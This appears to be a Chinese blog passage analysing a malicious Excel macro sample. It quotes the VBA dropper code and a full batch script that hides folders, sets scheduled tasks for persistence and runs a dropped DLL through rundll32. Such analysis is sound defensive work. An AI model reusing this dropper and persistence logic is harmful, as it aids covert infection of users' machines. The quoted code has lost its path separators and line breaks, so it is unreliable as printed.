恶意代码分析之Office宏代码分析( 五 )


我们通过观察,可以得知关键的代码在名为ThisWorkbook的对象中:

恶意代码分析之Office宏代码分析

文章插图
 
【恶意代码分析之Office宏代码分析】同样的,我们对该段代码进行调试分析 。代码开头还是通过Dim定义了几个变量,然后通过Environ获取了环境变量APPDAT和TEMP的路径分别赋值给Digital和requestDigital = Environ$(“APPDATA”)request = Environ$(“TEMP”)
接着通过Application.Wait Now + TimeValue(“0:00:03”)休眠3秒
休眠之后通过a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)进行弹框,弹框内容就是我们先前看到的提示框,这就是第二种迷惑用户的手法 。在上一个样本中,恶意宏代码运行之后,程序会显示一个看起来正常的xls文档以消除用户的疑心 。在本样本中,恶意代码运行之后,程序是通过弹框提示用户文档打开错误以消除用户的疑心 。两种方法的目标都在于,让用户误以为,打开的文档是没有问题的 。
弹框之后,程序会通过sunjava = “Scr” + “ipting.File” + “System” + “Object”Set digit = CreateObject(sunjava)创建一个Scripting.FileSystemObject对象
接着程序将通过
Sheet12.OLEObjects("Object 1").CopySheet8.OLEObjects("Object 1").Copydigit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbookdigit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook分别将sheet中的数据拷贝到Digital,也就是%appdata%中并且命名为s和s.bat
恶意代码分析之Office宏代码分析

文章插图
 
然后通过https = Digital & “” & “s.bat”Call Shell(https, vbHide)拼接s.bat的路径并且再次通过Shell指令运行 。
至此宏代码运行完成 。
我们可以看到,在该样本中,宏代码很短,宏代码的功能为1.弹框迷惑用户2.释放一个S文件,经查看为一个PE文件3.释放一个s.bat批处理文件4.调用执行s.bat文件
到这里我们也可以猜测出,s.bat文件将用于调用执行s文件 。
我们查看一下s.bat的内容:
echo offmd %USERPROFILE%InetLogsCustmd %USERPROFILE%InetLogsPoolmd %USERPROFILE%CommonBuildOfficemd %USERPROFILE%FilesSharedWebmd %USERPROFILE%ViewerInformationPolicyattrib +a +h +s %USERPROFILE%Inetattrib +a +h +s %USERPROFILE%Commonattrib +a +h +s %USERPROFILE%Filesattrib +a +h +s %USERPROFILE%Viewerdel /f %USERPROFILE%InetLogsPoolagniaSET /A %COMPUTERNAME%SET /A RAND=%RANDOM% 10000 + 2echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagniaschtasks /delete /tn Feed /fschtasks /delete /tn Sys_Core /fschtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exeschtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"move %AppData%s %USERPROFILE%ViewerInformationPolicyren %USERPROFILE%ViewerInformationPolicys sqmap.dlldel %0bat文件的语法还是比较简单明了的,通过bat的内容,我们可以得知程序获取了计算机的COMPUTERNAME和一个随机值写入到了%USERPROFILE%InetLogsPoolagnia,然后程序设置了两个计划任务,并且将%appdata%下的s文件移动到了%USERPROFILE%ViewerInformationPolicys并重命名为sqmap.dll
计划任务1:
恶意代码分析之Office宏代码分析

文章插图
 
计划任务2:
恶意代码分析之Office宏代码分析

文章插图
 
我们查看计划任务1所指定的目录文件可以发现暂时是0kb
恶意代码分析之Office宏代码分析

文章插图
 
查看计划任务2所指定的任务,可以看到文件已经成功移动过来:
恶意代码分析之Office宏代码分析

文章插图
 
通过hash查询可以确定s和sqmap.dll是同一个文件:
恶意代码分析之Office宏代码分析

文章插图
 
且我们通过计划任务2可以得知,这里是通过rundll32.exe 调用了这个名为sqlmap.dll的calldll方法 。目前vt(2020-06-24)上关于sqlmap.dll检出量为0:
恶意代码分析之Office宏代码分析

文章插图
 
我们可以对sqlmap.dll进行一个简单的分析 。首先通过IDA加载sqlmap.dll,我们可以得到PDB信息:C:UsersspartanDocumentsVisual Studio 2010new projectsfrontendReleasetest.pdb
该pdb以前未出现过,而且结合test.pdb的字眼,该样本可能是攻击者开发的测试版本 。


推荐阅读